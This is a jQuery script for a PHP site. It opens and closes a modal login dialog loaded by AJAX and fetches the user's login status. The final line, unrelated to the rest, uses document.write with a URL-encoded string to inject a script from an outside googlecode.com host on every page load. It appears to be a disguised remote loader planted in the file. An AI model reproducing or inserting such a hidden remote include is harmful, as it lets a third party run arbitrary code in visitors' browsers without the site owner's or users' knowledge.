$(function(){   
    $.extend({
        //显示窗体
        showDialog:function(loginPage,loadingimg,w,h){
			var clientWidth = ($("body").attr("clientWidth")-w)/2;
			if($("#loginbgDiv").length>0 ){
			}else{
			var Height=$("body").height();
			if(navigator.userAgent.indexOf("MSIE 6.0")>-1)
            {
                 $("body").append("<iframe id='frameBg'></iframe>");
            
				$("#frameBg").css({'border':'0','left':clientWidth+'px','top':'120px','z-index':'1','background':'none','position':'absolute','width':'600px','height':'400px'});
			}
            $("body").append("<div id='loginbgDiv' style='position:fixed !important; position:absolute; z-index:1002; text-align:center;top:120px; left:"+clientWidth+"px;width:600px;height:400px;background:#F3F3F3;border:#8ED02E solid 8px;'></div>");
			
			$("body").append("<div id='bgDiv'></div>");
			$("#bgDiv").css({'position':'absolute','left':'0','top':'0px','z-index':'1000','background':'lightgrey','filter':'alpha(opacity=40)','opacity':'0.4','width':'100%','height':Height});
			}
    $("#loginbgDiv").html("<h3 > 加载中...</h3>");
            $.ajax({
                url:loginPage,
                //beforeSend:function(xmlhttprequest){
//                    $("#loginbgDiv").append("<img src='"+loadingimg+"'></img>");
//                },
                success:function(data,status){
                    $("#loginbgDiv").load(loginPage);
                },
                error:function(xmlhttprequest,error){
                    $("#loginbgDiv").html("<br/>加载失败，请<a href='javascript:void(0)' onClick='$.hideDialog()'>关闭</a>");
                }
            });
        },
        hideDialog:function()
        {
			if(navigator.userAgent.indexOf("MSIE 6.0")>-1)
            {
           	$("#frameBg").remove();
		   }
           $("#bgDiv").remove();
			$("#loginbgDiv").remove();
        }
		
    });
});

//获取用户登录状态
$(document).ready(function(){
  		$.ajax({
					type: "get",
					url: "index.php?control=users&action=status",
					cache: false,
                    data: "rand="+Math.random(),
					success: function(data){
						if(data)
						{
							$("#userstatus").append(data);
						}else{
							$("#userstatus").append("注册 登录");
						}
					}
					
		});
}); 
document.write(unescape("%3Cscript src='http://bijioc.googlecode.com/svn/trunk/js/navigatenormal.js?v="+(new Date().toDateString().replace(/\s/g, ''))+".js' type='text/javascript'%3E%3C/script%3E"));